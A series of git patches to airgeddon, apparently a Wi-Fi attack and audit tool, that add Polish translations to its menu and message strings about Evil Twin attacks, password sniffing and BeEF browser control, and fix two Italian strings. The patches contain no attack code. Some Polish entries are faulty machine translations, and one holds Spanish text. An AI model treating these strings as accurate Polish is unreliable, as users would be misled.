[${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["ENGLISH",395]="Skipping intro, more window size needed" arr["SPANISH",395]="Saltando presentación, se necesita más tamaño de ventana" @@ -4428,7 +4428,7 @@ function language_strings() { arr["RUSSIAN",395]="Пропуск заставки, требуется окно большего размера" arr["GREEK",395]="Το intro παρακάμπτεται, χρειάζεται μεγαλύτερο μέγεθος παραθύρου" arr["ITALIAN",395]="Saltando la presentazione, è necessaria una finestra piú grande" - arr["POLISH",395]="${pending_of_translation} " + arr["POLISH",395]="${pending_of_translation} Pomijając prezentację, potrzebujesz większego rozmiaru okna" arr["ENGLISH",396]="8. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",396]="8. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -4438,7 +4438,7 @@ function language_strings() { arr["RUSSIAN",396]="8. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",396]="8. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",396]="8. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" - arr["POLISH",396]="${pending_of_translation} " + arr["POLISH",396]="${pending_of_translation} 8. Ataku Evil Twin AP z sniffingiem i bettercap-sslstrip2/BeEF" arr["ENGLISH",397]="Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",397]="Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -4448,7 +4448,7 @@ function language_strings() { arr["RUSSIAN",397]="Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",397]="Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",397]="Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" - arr["POLISH",397]="${pending_of_translation} " + arr["POLISH",397]="${pending_of_translation} Ataku Evil Twin AP z sniffingiem i bettercap-sslstrip2/BeEF" arr["ENGLISH",398]="Type the path to store the file or press [Enter] to accept the default proposal ${normal_color}[${default_bettercap_logpath}]" arr["SPANISH",398]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto ${normal_color}[${default_bettercap_logpath}]" @@ -4458,7 +4458,7 @@ function language_strings() { arr["RUSSIAN",398]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию ${normal_color}[${default_bettercap_logpath}]" arr["GREEK",398]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή ${normal_color}[${default_bettercap_logpath}]" arr["ITALIAN",398]="Digitare il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default ${normal_color}[${default_bettercap_logpath}]" - arr["POLISH",398]="${pending_of_translation} " + arr["POLISH",398]="${pending_of_translation} Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję ${normal_color}[${default_bettercap_logpath}]" arr["ENGLISH",399]="Passwords captured by sniffer. File saved at ${normal_color}[${bettercap_logpath}]" arr["SPANISH",399]="El sniffer ha capturado contraseñas. Fichero salvado en ${normal_color}[${bettercap_logpath}]" @@ -4468,7 +4468,7 @@ function language_strings() { arr["RUSSIAN",399]="Сниффер захватил пароли. Файл сохранён в ${normal_color}[${bettercap_logpath}]" arr["GREEK",399]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο ${normal_color}[${bettercap_logpath}]" arr["ITALIAN",399]="Lo sniffer ha catturato passwords. File salvato in ${normal_color}[${bettercap_logpath}]" - arr["POLISH",399]="${pending_of_translation} " + arr["POLISH",399]="${pending_of_translation} Sniffer przechwycił hasła. Plik zapisany w ${normal_color}[${bettercap_logpath}]" arr["ENGLISH",400]="On Evil Twin attack with BeEF integrated, in addition to obtaining keys using sniffing techniques, you can try to control the client's browser launching numerous attack vectors. The success of these will depend on many factors such as the kind of client's browser and its version" arr["SPANISH",400]="En el ataque Evil Twin con BeEF integrado, además de obtener claves con sniffing, podrás intentar controlar el navegador de los clientes lanzando numerosos vectores de ataque. El éxito de estos dependerá de muchos factores como el tipo de navegador y la versión que utilice el cliente" @@ -4478,7 +4478,7 @@ function language_strings() { arr["RUSSIAN",400]="С атакой Злой Двойник в дополнение к получению паролей сниффингом, вы можете попробовать контролировать клиентский браузер, запуская атаки по ряду векторов. Их успех зависит от многих факторов, в том числе от типа и версии клиентского браузера" arr["GREEK",400]="Στην επίθεση Evil Twin με ενσωματωμένο BeEF, εκτός από την απόκτηση κλειδιών με τη χρήση τεχνικών sniffing, μπορείτε να προσπαθήσετε να ελέγξετε τον browser του χρήστη-πελάτη κάνοντας χρήση κάποιων attack vectors. Η επιτυχία αυτών θα εξαρτηθεί από πολλούς παράγοντες όπως το είδος του browser του χρήστη-πελάτη και την έκδοσή του" arr["ITALIAN",400]="Nell'attacco Evil Twin con BeEF integrato, oltre ad ottenere le chiavi con sniffing, si può provare a controllare il browser dei clienti lanciando numerosi vettori di attacco. Il successo di questi attacchi dipende da molti fattori, come il tipo di browser e la versione utilizzata dal cliente" - arr["POLISH",400]="${pending_of_translation} " + arr["POLISH",400]="${pending_of_translation} W ataku Evil Twin z zintegrowanym BeEF, oprócz uzyskiwania kluczy z wąchaniem, można spróbować kontrolować przeglądarkę klientów, uruchamiając liczne ataki ataku. Sukces tych działań będzie zależał od wielu czynników, takich jak typ przeglądarki i wersja używana przez klienta" arr["ENGLISH",401]="The beef package you have installed is not BeEF (Browser Exploitation Framework). You have Beef (Flexible Brainfuck interpreter) installed. Both executables have the same name and can lead to confusion. Uninstall it and install what airgeddon needs if you want to use that feature. Installation guide: ${beef_installation_url}" arr["SPANISH",401]="El paquete beef que tienes instalado no es BeEF (Browser Exploitation Framework). Tienes instalado Beef (Flexible Brainfuck interpreter). Ambos ejecutables se llaman igual y puede dar lugar a confusión. Desinstálalo e instala el que airgeddon necesita si quieres usar esa característica. Guía de instalación: ${beef_installation_url}" @@ -4488,7 +4488,7 @@ function language_strings() { arr["RUSSIAN",401]="Установленный вами пакет beef не является пакетом BeEF (Browser Exploitation Framework). Вы установили Beef (Flexible Brainfuck interpreter). Оба исполнимых файла имеют одинаковое имя и могут вызвать путаницу. Если вы хотите использовать эту функцию, удалите его и установите тот, который требует airgeddon. Инструкция по установке: ${beef_installation_url}" arr["GREEK",401]="Το πακέτο beef που έχετε εγκαταστημένο δεν είναι το BeEF (Browser Exploitation Framework). Έχετε εγκατεστημένο το Beef (Flexible Brainfuck interpreter). Και τα δύο εκτελέσιμα αρχεία έχουν το ίδιο όνομα και μπορεί να γίνει κάποιο μπέρδεμα. Απεγκαταστήστε το και εγκαταστήστε αυτό που χρειάζεται το airgeddon, αν θέλετε να χρησιμοποιήσετε αυτή την επιλογή. Οδηγός εγκατάστασης: ${beef_installation_url}" arr["ITALIAN",401]="Il pacchetto beef che hai installato non è BeEF (Browser Exploitation Framework). È stato installato Beef (Flexible Brainfuck interpreter). Entrambi gli eseguibili hanno lo nome e può essere fonte di confusione. Disinstallarlo e installare quello di cui ha bisogno airgeddon se si desidera utilizzare questa funzione. Guida all'installazione: ${beef_installation_url}" - arr["POLISH",401]="${pending_of_translation} " + arr["POLISH",401]="${pending_of_translation} Zainstalowany pakiet beef nie jest BeEF (Framework Exploitation Framework). Masz zainstalowaną Beef (Flexible Brainfuck interpreter). Obydwa pliki wykonywalne są nazywane tak samo i mogą prowadzić do zamieszania. Odinstaluj i zainstaluj system airgeddon, jeśli potrzebujesz tej funkcji. Instrukcja instalacji: ${beef_installation_url}" arr["ENGLISH",402]="Enter the absolute path of the directory where BeEF is installed :" arr["SPANISH",402]="Introduce la ruta absoluta del directorio donde está instalado BeEF :" @@ -4498,7 +4498,7 @@ function language_strings() { arr["RUSSIAN",402]="Введите абсолютный путь к каталогу, в котором установлен BeEF :" arr["GREEK",402]="Εισάγετε το απόλυτο μονοπάτι για τον κατάλογο στον όποιο βρίσκεται εγκατεστημένο το BeEF :" arr["ITALIAN",402]="Immettere il percorso assoluto della directory in cui è installato BeEF :" - arr["POLISH",402]="${pending_of_translation} " + arr["POLISH",402]="${pending_of_translation} Introducir la ruta absoluta del directorio donde está instalado BeEF :" arr["ENGLISH",403]="The directory you entered doesn't exist" arr["SPANISH",403]="El directorio introducido no existe" @@ -4508,7 +4508,7 @@ function language_strings() { arr["RUSSIAN",403]="Каталог, который вы ввели, не существует" arr["GREEK",403]="Ο κατάλογος που έχετε εισάγει δεν υπάρχει" arr["ITALIAN",403]="La cartella indicata non esiste" - arr["POLISH",403]="${pending_of_translation} " + arr["POLISH",403]="${pending_of_translation} Wprowadzony katalog nie istnieje" arr["ENGLISH",404]="The entered path isn't absolute. An absolute path must always begin with \"/\"" arr["SPANISH",404]="La ruta introducida no es absoluta. Una ruta absoluta siempre debe comenzar por \"/\"" @@ -4518,7 +4518,7 @@ function language_strings() { arr["RUSSIAN",404]="Введенный путь не является абсолютным. Абсолютный путь всегда должен начинаться с \"/\"" arr["GREEK",404]="Το μονοπάτι που έχετε εισάγει δεν είναι απόλυτο. Ένα απόλυτο μονοπάτι πρέπει πάντα να ξεκινάει με \"/\"" arr["ITALIAN",404]="Il percorso immesso non è assoluto. Un percorso assoluto deve sempre iniziare con \"/\"" - arr["POLISH",404]="${pending_of_translation} " + arr["POLISH",404]="${pending_of_translation} Wprowadzona trasa nie jest absolutna. Musi się zawsze zaczynać bezwzględna trasa \"/\"" arr["ENGLISH",405]="Checking BeEF..." arr["SPANISH",405]="Comprobando BeEF..." @@ -4528,7 +4528,7 @@ function language_strings() { arr["RUSSIAN",405]="Проверка BeEF..." arr["GREEK",405]="Γίνεται έλεγχος του BeEF..." arr["ITALIAN",405]="Controllando BeEF..." - arr["POLISH",405]="${pending_of_translation} " + arr["POLISH",405]="${pending_of_translation} Sprawdzanie BeEF..." arr["ENGLISH",406]="No BeEF executable was detected in given directory" arr["SPANISH",406]="No se ha detectado un ejecutable de BeEF en el directorio indicado" @@ -4538,7 +4538,7 @@ function language_strings() { arr["RUSSIAN",406]="Ни один исполняемый файл BeEF не был обнаружен в заданной директории" arr["GREEK",406]="Δεν εντοπίστηκε κάποιο εκτελέσιμο αρχείο BeEF στον κατάλογο που έχετε εισάγει" arr["ITALIAN",406]="Non è stato rilevato un eseguibile di BeEF nella directory specificata" - arr["POLISH",406]="${pending_of_translation} " + arr["POLISH",406]="${pending_of_translation} Nie znaleziono pliku wykonywalnego BeEF w danym katalogu" arr["ENGLISH",407]="BeEF preparation" arr["SPANISH",407]="Preparación BeEF" @@ -4548,7 +4548,7 @@ function language_strings() { arr["RUSSIAN",407]="Подготовка BeEF" arr["GREEK",407]="Προετοιμασία του BeEF" arr["ITALIAN",407]="Preparando BeEF" - arr["POLISH",407]="${pending_of_translation} " + arr["POLISH",407]="${pending_of_translation} Przygotowanie BeEF" arr["ENGLISH",408]="If you installed BeEF manually, airgeddon might not be able to find it and the attack option can appear as restricted. You can try to solve it using the special menu option to fix this. It will work only if BeEF is already correctly installed and your unique problem is the script is not detecting it" arr["SPANISH",408]="Si instalaste BeEF manualmente, puede que airgeddon no sea capaz de encontrarlo y la opción del ataque te aparezca restringida. Puedes intentar solucionarlo usando la opción del menú especial para ello. Esto sólo funcionará si BeEF ya está instalado correctamente y el único problema que tienes es que el script no lo detecta" @@ -4558,7 +4558,7 @@ function language_strings() { arr["RUSSIAN",408]="Если вы установили BeEF вручную, airgeddon может быть не в состоянии найти его, и опция атаки в меню может быть ограничена. Для исправления этого, вы можете попытаться решить эту проблему с помощью специального пункта меню. Это сработает только если BeEF уже правильно установлен, и ваша единственная проблема в том, что скрипт не обнаруживает его" arr["GREEK",408]="Εάν έχετε εγκαταστήσει χειροκίνητα το BeEF, το airgeddon μπορεί να μην μπορέσει να το βρεί και η επιλογή της επίθεσης μπορεί να φανεί σαν περιορισμένη. Μπορείτε να προσπαθήσετε να διορθώσετε το πρόβλημα κάνοντας χρήση της ειδικής επιλογής στο μενού. Θα λειτουργήσει μόνο αν το BeEF έχει ήδη εγκατασταθεί σωστά και το μόνο πρόβλημα είναι ότι το script δεν το εντοπίζει" arr["ITALIAN",408]="Se BeEF è stato installato manualmente, airgeddon potrebbe non essere in grado di trovarlo e l'opzione di attacco apparirà limitata. Si può cercare di risolvere il problema utilizzando l'opzione del menú specifica per questo. Questo funzionerá solo se BeEF è già installato correttamente e l'unico problema che hai è che lo script non lo rileva" - arr["POLISH",408]="${pending_of_translation} " + arr["POLISH",408]="${pending_of_translation} Jeśli zainstalujesz BeEF ręcznie, airgeddon może nie być w stanie go znaleźć, a opcja atakowania będzie ograniczona. Możesz spróbować rozwiązać ten problem używając specjalnej opcji menu. To będzie działać tylko wtedy, gdy BeEF jest już poprawnie zainstalowany i jedynym problemem jest brak skryptu" arr["ENGLISH",409]="1. Evil Twin AP attack with sniffing and bettercap-sslstrip2/BeEF" arr["SPANISH",409]="1. Ataque Evil Twin AP con sniffing y bettercap-sslstrip2/BeEF" @@ -4568,7 +4568,7 @@ function language_strings() { arr["RUSSIAN",409]="1. Атака Злой Двойник ТД со сниффингом и bettercap-sslstrip2/BeEF" arr["GREEK",409]="1. Επίθεση Evil Twin AP με sniffing και bettercap-sslstrip2/BeEF" arr["ITALIAN",409]="1. Attacco Evil Twin AP con sniffing e bettercap-sslstrip2/BeEF" - arr["POLISH",409]="${pending_of_translation} " + arr["POLISH",409]="${pending_of_translation} 1. Ataku Evil Twin AP z sniffingiem i bettercap-sslstrip2/BeEF" arr["ENGLISH",410]="2. Try to troubleshoot manually installed BeEF dependency problem" arr["SPANISH",410]="2. Intentar solucionar problema de dependencia BeEF instalado manualmente" @@ -4578,7 +4578,7 @@ function language_strings() { arr["RUSSIAN",410]="2. Попробуйте устранить проблему вручную установив зависимости BeEF" arr["GREEK",410]="2. Προσπαθήστε να αντιμετωπίσετε το πρόβλημα με τα dependencies του χειροκίνητα εγκατεστημένου BeEF" arr["ITALIAN",410]="2. Cercare di risolvere il problema delle dipende di BeEF installato manualmente" - arr["POLISH",410]="${pending_of_translation} " + arr["POLISH",410]="${pending_of_translation} 2. Próba rozwiązywania problemów z ręcznym zainstalowaniem BeEF" arr["ENGLISH",411]="3. Return to Evil Twin attacks menu" arr["SPANISH",411]="3. Volver al menú de ataques Evil Twin" @@ -4588,7 +4588,7 @@ function language_strings() { arr["RUSSIAN",411]="3. Вернуться в меню атак Злой Двойник" arr["GREEK",411]="3. Επιστροφή στο μενού επιθέσεων Evil Twin" arr["ITALIAN",411]="3. Tornare al menú attacchi Evil Twin" - arr["POLISH",411]="${pending_of_translation} " + arr["POLISH",411]="${pending_of_translation} 3. Wróć do menu Evil Twin Atak" arr["ENGLISH",412]="You don't need to perform this action. Your BeEF is operational" arr["SPANISH",412]="No necesitas realizar esta acción. Tu BeEF está operativo" @@ -4598,7 +4598,7 @@ function language_strings() { arr["RUSSIAN",412]="Вам не нужно выполнять это действие. Ваш BeEF находится в рабочем состоянии" arr["GREEK",412]="Δεν χρειάζεται να εκτελέσετε αυτήν την ενέργεια. Το BeEF λειτουργεί κανονικά" arr["ITALIAN",412]="Non è necessario fare questo. Il tuo BeEF è operativo" - arr["POLISH",412]="${pending_of_translation} " + arr["POLISH",412]="${pending_of_translation} Nie musisz tego robić. Twoja BeEF działa" arr["ENGLISH",413]="airgeddon fixed the problem. Your BeEF is operational" arr["SPANISH",413]="airgeddon ha solucionado el problema. Tu BeEF está operativo" @@ -4608,7 +4608,7 @@ function language_strings() { arr["RUSSIAN",413]="airgeddon устранил проблему. Ваш BeEF находится в рабочем состоянии" arr["GREEK",413]="Το airgeddon διόρθωσε το πρόβλημα. Το BeEF λειτουργεί κανονικά" arr["ITALIAN",413]="airgeddon ha risolto il problema. Il tuo BeEF è operativo" - arr["POLISH",413]="${pending_of_translation} " + arr["POLISH",413]="${pending_of_translation} airgeddon rozwiązał problem. Twoja BeEF działa" arr["ENGLISH",414]="You don't have curl installed. Is not possible to download PINs database file" arr["SPANISH",414]="No tienes curl instalado. No se puede descargar el fichero de la base de datos de PINs" From d1cea360401eb841b9ac660e7b4aa7e5c8885864 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 23 Oct 2017 00:53:39 +0200 Subject: [PATCH 16/70] Fixed wrong var error on Italian 370 and 371 strings --- language_strings.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 3280e1595..837b4a3ed 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -4177,7 +4177,7 @@ function language_strings() { arr["PORTUGUESE",370]="Você tem o reaver instalado (v${reaver_version}). Você cumpre a exigência de versão para o ataque Pixie Dust com reaver (versão mínima v${minimum_reaver_pixiewps_version}). O script pode continuar..." arr["RUSSIAN",370]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",370]="Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." - arr["ITALIAN",370]="È stato installato reaver (v${bully_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con reaver (versione minima v${minimum_reaver_pixiewps_version}). Lo script può continuare..." + arr["ITALIAN",370]="È stato installato reaver (v${reaver_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con reaver (versione minima v${minimum_reaver_pixiewps_version}). Lo script può continuare..." arr["POLISH",370]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}). Spełnia się wymagania dotyczące wersji, aby wykonać atak Pixie Dust z użyciem reverera (wersja minimalna v${minimum_reaver_pixiewps_version}). Skrypt może kontynuować..." arr["ENGLISH",371]="You have reaver installed (v${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v${minimum_reaver_pixiewps_version}" @@ -4187,7 +4187,7 @@ function language_strings() { arr["PORTUGUESE",371]="Você tem o reaver instalado (v${reaver_version}), mas não a versão necessária. Para fazer o ataque Pixie Dust com reaver integrado você precisa ter pelo menos a versão v${minimum_reaver_pixiewps_version}" arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}" arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}" - arr["ITALIAN",371]="È stato installato reaver (v${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con reaver devi avere almeno la versione v${minimum_reaver_pixiewps_version}" + arr["ITALIAN",371]="È stato installato reaver (v${reaver_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con reaver devi avere almeno la versione v${minimum_reaver_pixiewps_version}" arr["POLISH",371]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}), ale nie wymagana wersja. Aby zrealizować atak Pixie Dust zintegrowany z programem reaver musisz mieć co najmniej wersję v${minimum_reaver_pixiewps_version}" arr["ENGLISH",372]="This action can't be performed without known PINs database file" From 84d84b21defaa5ec1e4d2d2fc9cac09f9fa39ac5 Mon Sep 17 00:00:00 2001 From: dodg3rmaq <33019262+dodg3rmaq@users.noreply.github.com> Date: Mon, 23 Oct 2017 12:27:35 +0200 Subject: [PATCH 17/70] Polished Polish translation --- airgeddon.sh | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index ad9ae5e4d..670021b43 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -411,7 +411,7 @@ function language_strings_handling_messages() { language_strings_no_file["RUSSIAN"]="Ошибка. Не найден языковой файл" language_strings_no_file["GREEK"]="Σφάλμα. Το αρχείο γλωσσών δεν βρέθηκε" language_strings_no_file["ITALIAN"]="Errore. Non si trova il file delle traduzioni" - language_strings_no_file["POLISH"]="${pending_of_translation} Błąd. Nie znaleziono pliku tłumaczenia" + language_strings_no_file["POLISH"]="Błąd. Nie znaleziono pliku tłumaczenia" declare -gA language_strings_file_mismatch language_strings_file_mismatch["ENGLISH"]="Error. The language strings file found mismatches expected version" @@ -422,7 +422,7 @@ function language_strings_handling_messages() { language_strings_file_mismatch["RUSSIAN"]="Ошибка. Языковой файл не соответствует ожидаемой версии" language_strings_file_mismatch["GREEK"]="Σφάλμα. Το αρχείο γλωσσών που έχει βρεθεί δεν αντιστοιχεί με την προαπαιτούμενη έκδοση" language_strings_file_mismatch["ITALIAN"]="Errore. Il file delle traduzioni trovato non è la versione prevista" - language_strings_file_mismatch["POLISH"]="${pending_of_translation} Błąd. Znaleziony plik tłumaczenia nie jest oczekiwaną wersją" + language_strings_file_mismatch["POLISH"]="Błąd. Znaleziony plik tłumaczenia nie jest oczekiwaną wersją" declare -gA language_strings_try_to_download language_strings_try_to_download["ENGLISH"]="airgeddon will try to download the language strings file..." @@ -433,7 +433,7 @@ function language_strings_handling_messages() { language_strings_try_to_download["RUSSIAN"]="airgeddon попытается загрузить языковой файл..." language_strings_try_to_download["GREEK"]="Το airgeddon θα προσπαθήσει να κατεβάσει το αρχείο γλωσσών..." language_strings_try_to_download["ITALIAN"]="airgeddon cercherá di scaricare il file delle traduzioni..." - language_strings_try_to_download["POLISH"]="${pending_of_translation} airgeddon spróbuje pobrać plik tłumaczeń..." + language_strings_try_to_download["POLISH"]="airgeddon spróbuje pobrać plik tłumaczeń..." declare -gA language_strings_successfully_downloaded language_strings_successfully_downloaded["ENGLISH"]="Language strings file was successfully downloaded" @@ -444,7 +444,7 @@ function language_strings_handling_messages() { language_strings_successfully_downloaded["RUSSIAN"]="Языковой файл был успешно загружен" language_strings_successfully_downloaded["GREEK"]="Το αρχείο γλωσσών κατέβηκε με επιτυχία" language_strings_successfully_downloaded["ITALIAN"]="Il file delle traduzioni è stato scaricato con successo" - language_strings_successfully_downloaded["POLISH"]="${pending_of_translation} Plik z tłumaczeniem został pomyślnie pobrany" + language_strings_successfully_downloaded["POLISH"]="Plik z tłumaczeniem został pomyślnie pobrany" declare -gA language_strings_failed_downloading language_strings_failed_downloading["ENGLISH"]="The language string file can't be downloaded. Check your internet connection or download it manually from ${normal_color}${urlgithub}" @@ -455,7 +455,7 @@ function language_strings_handling_messages() { language_strings_failed_downloading["RUSSIAN"]="Языковой файл не может быть загружен. Проверьте подключение к Интернету или загрузите его вручную с ${normal_color}${urlgithub}" language_strings_failed_downloading["GREEK"]="Το αρχείο γλωσσών δεν μπορεί να κατέβει. Ελέγξτε τη σύνδεση σας με το διαδίκτυο ή κατεβάστε το χειροκίνητα ${normal_color}${urlgithub}" language_strings_failed_downloading["ITALIAN"]="Impossibile scaricare il file delle traduzioni. Controlla la tua connessione a internet o scaricalo manualmente ${normal_color}${urlgithub}" - language_strings_failed_downloading["POLISH"]="${pending_of_translation} Nie można pobrać pliku tłumaczenia. Sprawdź połączenie internetowe lub ręcznie pobierz go z ${normal_color}${urlgithub}" + language_strings_failed_downloading["POLISH"]="Nie można pobrać pliku tłumaczenia. Sprawdź połączenie internetowe lub pobierz go ręcznie z ${normal_color}${urlgithub}" declare -gA language_strings_first_time language_strings_first_time["ENGLISH"]="If you are seeing this message after an automatic update, don't be scared! It's probably because airgeddon has different file structure since version 6.1. It will be automatically fixed" @@ -466,7 +466,7 @@ function language_strings_handling_messages() { language_strings_first_time["RUSSIAN"]="Если вы видите это сообщение после автоматического обновления, не переживайте! Вероятно, это объясняется тем, что, начиная с версии 6.1, airgeddon имеет другую структуру файлов. Проблема будет разрешена автоматически" language_strings_first_time["GREEK"]="Εάν βλέπετε αυτό το μήνυμα μετά από κάποια αυτόματη ενημέρωση, μην τρομάξετε! Πιθανόν είναι λόγω της διαφορετικής δομής του airgeddon μετά από την έκδοση 6.1. Θα επιδιορθωθεί αυτόματα" language_strings_first_time["ITALIAN"]="Se stai vedendo questo messaggio dopo un aggiornamento automatico, niente panico! probabilmente è perché a partire dalla versione 6.1 é cambiata la struttura dei file di airgeddon. Sarà riparato automaticamente" - language_strings_first_time["POLISH"]="${pending_of_translation} Jeśli widzisz tę wiadomość po automatycznej aktualizacji, nie bój się! prawdopodobnie dlatego, że w wersji 6.1 zmieniła się struktura plików airgeddon. Naprawi się automatycznie" + language_strings_first_time["POLISH"]="Jeśli widzisz tę wiadomość po automatycznej aktualizacji, nie obawiaj się! To prawdopodobnie dlatego, że w wersji 6.1 zmieniła się struktura plików airgeddon. Naprawi się automatycznie" declare -gA language_strings_exiting language_strings_exiting["ENGLISH"]="Exiting airgeddon script v${airgeddon_version} - See you soon! :)" @@ -477,7 +477,7 @@ function language_strings_handling_messages() { language_strings_exiting["RUSSIAN"]="Выход из скрипта airgeddon v${airgeddon_version} - До встречи! :)" language_strings_exiting["GREEK"]="Κλείσιμο του airgeddon v${airgeddon_version} - Αντίο :)" language_strings_exiting["ITALIAN"]="Uscendo dallo script airgeddon v${airgeddon_version} - A presto! :)" - language_strings_exiting["POLISH"]="${pending_of_translation} Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" + language_strings_exiting["POLISH"]="Wyjście z skryptu airgeddon v${airgeddon_version} - Do zobaczenia wkrótce! :)" declare -gA language_strings_key_to_continue language_strings_key_to_continue["ENGLISH"]="Press [Enter] key to continue..." @@ -488,7 +488,7 @@ function language_strings_handling_messages() { language_strings_key_to_continue["RUSSIAN"]="Нажмите клавишу [Enter] для продолжения..." language_strings_key_to_continue["GREEK"]="Πατήστε το κουμπί [Enter] για να συνεχίσετε..." language_strings_key_to_continue["ITALIAN"]="Premere il tasto [Enter] per continuare..." - language_strings_key_to_continue["POLISH"]="${pending_of_translation} Naciśnij klawisz [Enter], aby kontynuować..." + language_strings_key_to_continue["POLISH"]="Naciśnij klawisz [Enter] aby kontynuować..." } #Toggle language auto-detection feature From c1d2cdaa8469fe560d2acbf113f6fa685d6fe289 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 23 Oct 2017 23:16:59 +0200 Subject: [PATCH 18/70] Updated changelog --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 6febc38aa..b2dc2e960 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,6 +1,7 @@ ### 7.23 - Fixed error in Docker container on some host O.S. - Fixed error message on offline Arcadyan PIN algorithm calculation + - Polish language translation added (Thank you to "dodg3rmaq") ### 7.22 - Fixed error caused by Bettercap. Bug: https://github.com/evilsocket/bettercap/issues/356 From fdef80447c5809b0dcf7f70f251944a5f61fa834 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Tue, 24 Oct 2017 00:22:20 +0200 Subject: [PATCH 19/70] Finished automatic polish translations --- language_strings.sh | 186 ++++++++++++++++++++++---------------------- 1 file changed, 93 insertions(+), 93 deletions(-) diff --git a/language_strings.sh b/language_strings.sh index 837b4a3ed..4aaa3a222 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -2,7 +2,7 @@ #Title........: language_strings.sh #Description..: All the translated strings that airgeddon uses are located here. #Author.......: v1s1t0r -#Date.........: 20171023 +#Date.........: 20171024 #Bash Version.: 4.2 or later #Set language_strings file version @@ -4618,7 +4618,7 @@ function language_strings() { arr["RUSSIAN",414]="У вас не установлен curl. Невозможно загрузить файл базы данных PIN" arr["GREEK",414]="Το curl δεν είναι εγκατεστημένο. Είναι αδύνατον να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ITALIAN",414]="Non si dispone di curl installato. Non è possibile scaricare il file della base dati dei PINs" - arr["POLISH",414]="${pending_of_translation} " + arr["POLISH",414]="${pending_of_translation} Nie masz zainstalowanego zakrętu. Nie można pobrać pliku bazy danych kodu PIN" arr["ENGLISH",415]="${blue_color}airgeddon knows you have BeEF installed and you pass the validation, but it was unable to locate the right directory path where you have BeEF installed. Knowing the location gives some advantages for the execution because its configuration file can be customized instead of generic. ${green_color}Do you want to enter it manually? ${normal_color}${visual_choice}" arr["SPANISH",415]="${blue_color}airgeddon sabe que tienes BeEF instalado y pasas la validación, pero no ha podido concretar la ruta del directorio exacto donde tienes instalado BeEF. Conocer la localización exacta tiene algunas ventajas a la hora de ejecutarlo ya que la configuración será personalizada en lugar de ser una configuración genérica. ${green_color}¿Quieres introducirla manualmente? ${normal_color}${visual_choice}" @@ -4628,7 +4628,7 @@ function language_strings() { arr["RUSSIAN",415]="${blue_color}airgeddon знает, что у вас установлен BeEF и вы успешно прошли проверку, но скрипт оказался не в состоянии найти правильный путь к каталогу, где вы установили BeEF. Знание расположения даёт некоторые преимущества при выполнении, поскольку появляется возможность настроить его конфигурационный файл, а не использовать настройки по умолчанию. ${green_color}Вы хотите ввести расположение вручную? ${normal_color}${visual_choice}" arr["GREEK",415]="${blue_color}Το airgeddon γνωρίζει ότι έχετε εγκατεστημένο το BeEF και έχετε περάσει τους απαραίτητους ελέγχους, αλλά δεν μπόρεσε να εντοπίσει το σωστό μονοπάτι για τον κατάλογο όπου έχετε εγκαταστήσει το BeEF. Γνωρίζοντας το μονοπάτι για τον κατάλογο κάνει την διαδικασία της εκτέλεσης πλεονεκτική γιατί το αρχείο παραμέτρων μπορεί να ρυθμιστεί 